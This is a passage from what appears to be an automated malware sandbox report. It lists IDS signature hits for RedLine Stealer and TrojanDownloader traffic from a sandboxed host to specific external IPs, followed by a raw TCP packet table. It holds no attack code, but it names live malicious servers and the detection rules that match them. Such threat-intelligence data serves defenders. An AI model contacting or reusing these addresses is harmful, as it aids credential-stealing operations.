192.168.2.577.105.136.350275812046045 12/06/23-14:36:06.769942	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50275	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350345812046045 12/06/23-14:36:55.159061	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50345	81	192.168.2.5	77.105.136.3
192.168.2.537.1.198.25150187802839343 12/06/23-14:35:39.174213	TCP	2839343	ETPRO MALWARE InnoDownloadPlugin User-Agent Observed	50187	80	192.168.2.5	37.1.198.251
192.168.2.577.105.136.350309812046045 12/06/23-14:36:29.696042	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50309	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350250812046045 12/06/23-14:35:50.167908	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50250	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350312812046045 12/06/23-14:36:31.744103	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50312	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350303812046045 12/06/23-14:36:25.632684	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50303	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350318812046045 12/06/23-14:36:35.709561	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50318	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350321812046045 12/06/23-14:36:37.678957	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50321	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350330812046045 12/06/23-14:36:43.615057	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50330	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350251812046045 12/06/23-14:35:50.825474	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50251	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350311812046045 12/06/23-14:36:31.045970	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50311	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350257812046045 12/06/23-14:35:54.795722	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50257	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350340812046045 12/06/23-14:36:51.889892	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50340	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350274812046045 12/06/23-14:36:06.102370	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50274	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350346812046045 12/06/23-14:36:55.814799	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50346	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350363812046045 12/06/23-14:37:08.174720	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50363	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350298812046045 12/06/23-14:36:22.345639	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50298	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350364812046045 12/06/23-14:37:08.818539	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50364	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350317812046045 12/06/23-14:36:35.040401	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50317	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350322812046045 12/06/23-14:36:38.345066	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50322	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350328812046045 12/06/23-14:36:42.306155	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50328	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350256812046045 12/06/23-14:35:54.137806	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50256	81	192.168.2.5	77.105.136.3
192.168.2.5104.21.52.22349705802047660 12/06/23-14:33:00.564607	TCP	2047660	ET MALWARE Win32/TrojanDownloader Variant Activity (GET)	49705	80	192.168.2.5	104.21.52.223
192.168.2.577.105.136.350369812046045 12/06/23-14:37:12.112948	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50369	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350292812046045 12/06/23-14:36:18.389256	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50292	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350362812046045 12/06/23-14:37:07.522278	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50362	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350365812046045 12/06/23-14:37:09.468071	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50365	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350267812046045 12/06/23-14:36:01.508627	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50267	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350359812046045 12/06/23-14:37:05.563977	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50359	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350307812046045 12/06/23-14:36:28.273610	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50307	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350276812046045 12/06/23-14:36:07.453180	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50276	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350310812046045 12/06/23-14:36:30.384232	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50310	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350313812046045 12/06/23-14:36:32.405793	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50313	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350252812046045 12/06/23-14:35:51.486831	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50252	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350341812046045 12/06/23-14:36:52.546584	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50341	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350304812046045 12/06/23-14:36:26.286831	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50304	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350335812046045 12/06/23-14:36:48.579507	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50335	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350246812046045 12/06/23-14:35:47.521454	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50246	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350329812046045 12/06/23-14:36:42.957751	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50329	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350282812046045 12/06/23-14:36:11.427578	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50282	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350356812046045 12/06/23-14:37:02.409479	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50356	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350273812046045 12/06/23-14:36:05.431652	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50273	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350254812046045 12/06/23-14:35:52.820317	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50254	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350248812046045 12/06/23-14:35:48.865133	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50248	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350289812046045 12/06/23-14:36:16.396787	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50289	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350326812046045 12/06/23-14:36:40.988661	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50326	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350332812046045 12/06/23-14:36:44.925833	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50332	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350271812046045 12/06/23-14:36:04.130647	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50271	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350360812046045 12/06/23-14:37:06.208022	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50360	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350354812046045 12/06/23-14:37:01.103024	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50354	81	192.168.2.5	77.105.136.3
192.168.2.537.1.198.25150133802839343 12/06/23-14:33:45.067270	TCP	2839343	ETPRO MALWARE InnoDownloadPlugin User-Agent Observed	50133	80	192.168.2.5	37.1.198.251
192.168.2.577.105.136.350265812046045 12/06/23-14:36:00.212175	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50265	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350259812046045 12/06/23-14:35:56.113850	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50259	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350348812046045 12/06/23-14:36:57.105195	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50348	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350337812046045 12/06/23-14:36:49.902555	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50337	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350295812046045 12/06/23-14:36:20.371059	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50295	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350343812046045 12/06/23-14:36:53.852752	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50343	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350260812046045 12/06/23-14:35:56.768169	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50260	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350302812046045 12/06/23-14:36:24.976708	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50302	81	192.168.2.5	77.105.136.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2023 14:50:39.842627048 CET	49674	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:50:39.842638016 CET	49675	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:50:39.936450958 CET	49673	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:50:47.515296936 CET	49704	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:50:47.610224962 CET	80	49704	104.21.52.223	192.168.2.5
Dec 6, 2023 14:50:47.610347033 CET	49704	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:50:47.610749006 CET	49704	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:50:47.705605984 CET	80	49704	104.21.52.223	192.168.2.5
Dec 6, 2023 14:50:48.258832932 CET	80	49704	104.21.52.223	192.168.2.5
Dec 6, 2023 14:50:48.311350107 CET	49704	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:50:48.423444986 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:48.517822027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:48.518100977 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:48.518280029 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:48.612787008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:49.451966047 CET	49674	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:50:49.452162981 CET	49675	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:50:49.546032906 CET	49673	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:50:50.797415972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.797514915 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.797566891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.797569036 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.797617912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.797667027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.797717094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.797765970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.797780037 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.797780037 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.797835112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.797934055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.797940016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.798049927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.798091888 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.798099041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.798149109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.798192978 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.798198938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.798247099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.798286915 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.798293114 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.799496889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.799551964 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.799555063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.799604893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.799647093 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.799741983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.799793005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.799839973 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.799841881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.799894094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.799937963 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.799942970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.799993992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.800038099 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.800043106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.800091982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.800134897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.800142050 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.800192118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.800239086 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.800240040 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.800818920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.800870895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.800872087 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.800921917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.800964117 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.800971031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.801022053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.801068068 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.801070929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.801119089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.801163912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.801723003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.801773071 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.801816940 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.801820993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.801918030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.801964045 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.801966906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.802016973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.802058935 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.802063942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.802673101 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.802722931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.802725077 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.802773952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.802819967 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.802825928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.802870989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.802911997 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.807941914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808128119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808178902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808270931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808295012 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.808324099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808332920 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.808372974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808417082 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.808423996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808473110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808515072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.808521032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808571100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808610916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.808619976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808667898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808712006 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.808716059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808816910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.808861017 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.809349060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.809444904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.809487104 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.809494972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.809546947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.809586048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.809593916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.809643030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.809691906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.809698105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.810473919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.810520887 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.810527086 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.810576916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.810619116 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.810626030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.810674906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.810724020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.810724020 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.810774088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.810812950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.811222076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.811288118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.811331034 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.811337948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.811387062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.811428070 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.811434031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.811482906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.811523914 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.811532021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.812161922 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.812210083 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.812213898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.812263012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.812303066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.812311888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.812361002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.812398911 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.812408924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.812457085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.812509060 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.813191891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.813230991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.813266993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.813313961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.813327074 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.813359022 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.813369036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.813419104 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.813461065 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.813467979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.813990116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.814034939 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.814212084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.814280987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.814326048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.814332008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.814383030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.814421892 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.814431906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.814482927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.814522028 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.814941883 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.814991951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.815032005 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.815041065 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.815090895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.815129995 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.815139055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.815494061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.815536022 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.815581083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.815931082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.815979004 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.816107035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.816195965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.816236973 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.816246033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.816296101 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.816334963 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.816344023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.816392899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.816487074 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.816904068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.816948891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.816998959 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.817032099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.817082882 CET	80	49705	172.67.165.204	192.168.2.5
